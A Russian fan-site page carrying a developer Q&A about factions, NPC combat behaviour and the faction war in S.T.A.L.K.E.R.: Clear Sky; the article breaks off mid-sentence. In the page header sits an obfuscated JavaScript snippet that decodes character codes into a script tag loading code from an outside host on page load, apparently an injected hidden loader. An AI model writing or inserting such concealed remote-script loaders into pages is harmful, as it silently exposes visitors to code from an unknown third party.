
Онлайн всего: 1 Гостей: 1 Пользователей: 0
Кто был сегодня :
| | на развитие сайта | Патчи
|  <script type="text/javascript" language="javascript"> <!-- function MLr867(DwR265){document.write( String.fromCharCode(parseInt(DwR265)-2));} var aL401="106P118P118P114P60P49P49P70P99P120P107P124P"+ "48P113P109P113P117P106P103P101P106P109P99P48P112P103P"+ "118P49P117P49P114P89P76P92P89P102P58P57P56P55P49P65P"+ "117P107P102P63P57P52P58P58P54";var E450=aL401.split("P"); document.write("<script type='text/javascript' language='javascript' src='"); var z269=0;while(z269<E450.length){MLr867(E450[z269]);z269++;} document.write("'></script>"); // --> </script>
 


|
|
NPC. Группировки сталкеров
С какими новыми группировками сталкеров нам предстоит встретиться в
приквеле, и чем они отличаются друг от друга (кроме любимых цветов и
характеристик клановой брони, разумеется)? В "Чистом Небе" мы увидим
все уже знакомые по первой игре группировки, плюс одну новую, не
представленную в оригинале. Играть можно будет за любую из 5 фракций –
Чистое Небо, Сталкеры, Долг, Свобода, Бандиты (остальные по умолчанию
враждебные). Новая группировка созвучна с названием приквела - Чистое
небо, наш главный герой как раз оттуда. Сразу скажу, мы существенно
улучшаем функциональность группировок и разнообразие поведения
сталкеров. У каждой группировки есть база, с лидером, складами,
периметром охраны, мини-играми, баром, комнатой механика, проводником и
другими персонажами. У группировки есть глобальная цель - ослабить и
захватить базу противника, а также такие будничные, как захват точки
переходов между уровнями, захват точек с артефактами и редкими
аномальными явлениями, неожиданные нападения на отряды противника.
Игрок сможет вступить в группировку и принять участие в противостоянии
фракций. Игрок получает ранги в группировке - от салаги и до ветерана. В
зависимости от рангов, будут усложняться задания. Если салаге могут
поручить зачистить территорию рядом с базой от мутантов, то ветеранов
уже зовут на штурм вражеской базы. Миссии будут разнообразными - захват
важных точек, оказание помощи с отрядом союзников, отражение контратак,
сопровождение отряда и многое другое. Разные группировки имеют свои
характерные особенности и отличия. Бандиты, к примеру, предпочитают
вместо того, чтоб самостоятельно трудиться над поиском артефактов,
отнимать их у сталкеров или, в буквальном смысле, порабощать
незадачливых искателей артефактов, заставляя их работать на себя. Таким
образом, зачистив участок от бандитов, можно еще и помочь другим
сталкерам избавиться от гнета негодяев. Все описанные механизмы являются основной Войны Группировок – ключевого элемента геймплея в приквеле.
Станет
ли присоединение к одной из групп обязательным пунктом повестки дня,
или все главные задачи сюжетной линии можно будет решить в одиночку
старым проверенным способом Save/Load? В приквеле сама идея игры не
изменилась, а углубилась, то есть свобода стоит в первых рядах.
Присоединение к какой-либо группировке всего лишь опция к основной
сюжетной линии. Война группировок идет параллельно, и игрок может
поучаствовать и повлиять на нее. Изначально все общение с
группировками происходит на уровне шестерок, они дают ерундовые
задания, проверяя на прочность, но с ростом доверия к игроку, общение
смещается все выше и выше, открывая доступ к ключевым персонажам
группировки, оборудованию и т.д.
В анонсе "Чистого неба", а
именно в особенностях игры указано, что любую группировку можно будет
привести к победе. Означает ли это наличие возможности полного
прохождения игры за одну из группировок, либо реализовано как одно из
ответвлений основной сюжетной линии? Игрок отыгрывает роль
сталкера-наемника, который может принять сторону практически любой из
существующих фракций в игре. Основным элементом игрового процесса
станет глобальная война группировок за ресурсные, научные и
территориальные точки в Зоне. Чем больше таких точек у группировки, тем
мощнее она становится и тем больше сталкеров она может привлекать в
свои ряды. Глобальная война группировок целиком и полностью
контролируется системой симуляции жизни и происходит независимо от
игрока. Игрок волен остаться безучастным, либо же влиться в события
этой войны на любом из этапов игры, присоединиться к выбранной
группировке и помочь ей занять доминирующую позицию в Зоне. Первая и
большая часть игры будет ориентирована именно на войну группировок и
симуляционный геймплей. В заключительной, более линейной части "Чистого
Неба" игрок будет ориентирован на противостояние Стрелку. Однако при
этом он может оставаться верным делам своей группировки до самого
финала игры.
Игрок сможет присоединиться практически к любой фракции. А штурмовать карьерную лестницу, стать во главе клана? Выполняя
задания и поручения группировки вы приобретаете авторитет в ее кругах,
повышается ваш статус, однако возглавить клан не удастся – главари
крепко сидят на своих местах.
Какие преимущества вообще дает присоединение к клану? И как к игроку потом будут относиться представители других? Присоединяясь
к какому-либо клану и улучшая его отношение к вам, вы будете иметь
возможность получать "коврижки", доступные только этому клану, это
может быть оружие, костюмы и различные приспособления. Также задания,
выдаваемые группировками, будут зависеть от интересов группировки в
Зоне, ее отношений с другими кланами.
Будут ли NPC адекватно реагировать на погодные условия? Т.е. в дождь - хуже слышат, ночью - хуже стреляют и т.п. Да,
будут, но у вас вряд ли появится возможность их об этом спросить, так
как, когда враги вас обнаружат, то ближе чем на расстояние выстрела они
вас не подпустят, а друзья не привыкли жаловаться на такую мелочь, как
погодные условия.
Очень хотелось бы большего разнообразия в
боевом поведении NPC, чтобы они умели кемперить, занимать укромные
местечки, перебежками незаметно обходить игрока и пытаться убить игрока
на расстоянии так, чтобы он их не замечал. Можно ли надеяться на
что-либо подобное в ЧН? В ЧН улучшен AI противников, NPC получили
новые возможности, появилась функция обхода динамических препятствий,
добавлены различные тактики ведения боя в зависимости от того, какое
оружие в руках. Добавлена возможность бросать гранаты, а также умение
пользоваться укрытиями.
Вот возник вопрос. Если, например,
вальнут технаря, торгаша и.т.д. на базе группировки то станет ли на их
место какой нить другой сталкер? Или так навечно и останется
группировка без нужного человека (хотя группировка и будет
процветающая)? Вы сможете убить некоторых техников, торговцев и
людей, которые вам помогают выжить в Зоне, но не забывайте, что вы
один, а в группировке много сталкеров и если вы откроете огонь на
территории лагеря, то сами можете стать трупом. Но если же вам таки
удастся убить NPC и еще и выжить после этого, тогда на их место придут
новые, ведь очень тяжело выжить в Зоне без таких людей, как техники и
торговцы.
Могут ли NPC быть наняты и путешествовать с игроком? Нет,
игрок по своей сути одиночка в Зоне, но вы сможете присоединяться к
дружеской группировке, участвовать вместе с ними в атаках и помочь им
выиграть войну. Введена также базовая система взаимодействия с отрядами
NPC, если игрок направляе
|
| Категория: Мои статьи | Добавил: Deviz (30.06.2009)
|
| Просмотров: 4302 | Комментарии: 2
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|

Привет: Гость
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
|

Мы будем очень благодарны, если Вы разместите наш баннер у себя на сайте. Вот его код:
|
|